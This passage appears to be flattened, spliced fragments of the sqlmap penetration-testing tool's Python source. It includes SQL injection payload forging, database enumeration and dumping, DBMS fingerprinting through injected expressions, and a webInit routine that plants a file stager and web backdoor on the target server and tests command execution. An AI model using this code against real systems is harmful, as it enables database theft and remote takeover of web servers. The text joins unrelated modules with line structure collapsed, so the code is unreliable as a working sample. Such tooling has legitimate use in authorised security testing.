".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(kb.tempDir, ignore_errors=True) except OSError: pass if conf.get("hashDB"): conf.hashDB.flush(True) if conf.get("harFile"): try: with openFile(conf.harFile, "w+b") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) except SqlmapBaseException as ex: errMsg = getSafeExString(ex) logger.critical(errMsg) if conf.get("api"): conf.databaseCursor.disconnect() if conf.get("dumper"): conf.dumper.flush() # short delay for thread finalization _ = time.time() while threading.activeCount() > 1 and ( time.time() - _) > THREAD_FINALIZATION_TIMEOUT: time.sleep(0.01) if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() conf.disableBanner = True main()
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: if conf.db is not None and len( kb.data.cachedColumns ) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[ conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl, True)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), [ '%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName ], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip( retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming( columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns
else: # Run doc tests # Reference: http://docs.python.org/library/doctest.html (failure_count, test_count) = doctest.testmod(module) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal def adjustValueType(tagName, value): for family in optDict.keys(): for name, type_ in optDict[family].items(): if type(type_) == tuple: type_ = type_[0] if tagName == name: if type_ == "boolean": value = (value == "True") elif type_ == "integer":
try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tr>\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tbody>\n</table>\n</body>\n</html>") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % ( db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warn(msg)
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ): # skip chunking of scalar expression (unneeded) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub( r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = "(?P<result>.*?)%s" % kb.chars.stop[:2] output = extractRegexResult( check, trimmed, re.IGNORECASE) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 for targetUrl, targetMethod, targetData, targetCookie in kb.targets: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "URL %d:\n%s %s%s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\nPOST data: %s" % urlencode( conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % ( urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data elif conf.method == HTTPMETHOD.GET: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue if conf.checkWaf: checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any( (conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % ( place, parameter) logger.warn(warnMsg) else: infoMsg = "%s parameter '%s' is dynamic" % ( place, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % place infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % ( injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % ( place, parameter) warnMsg += "injectable" logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')" elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getUnicode(ex.message) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally:
def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: result = inject.checkBooleanExpression( "ZERO() IS 0" ) # Note: check for H2 DBMS (sharing majority of same functions) if result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression( "(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue( inject.getValue( "\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) return False
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not isDigit(choice): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with openFile(filename, "w+b") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl 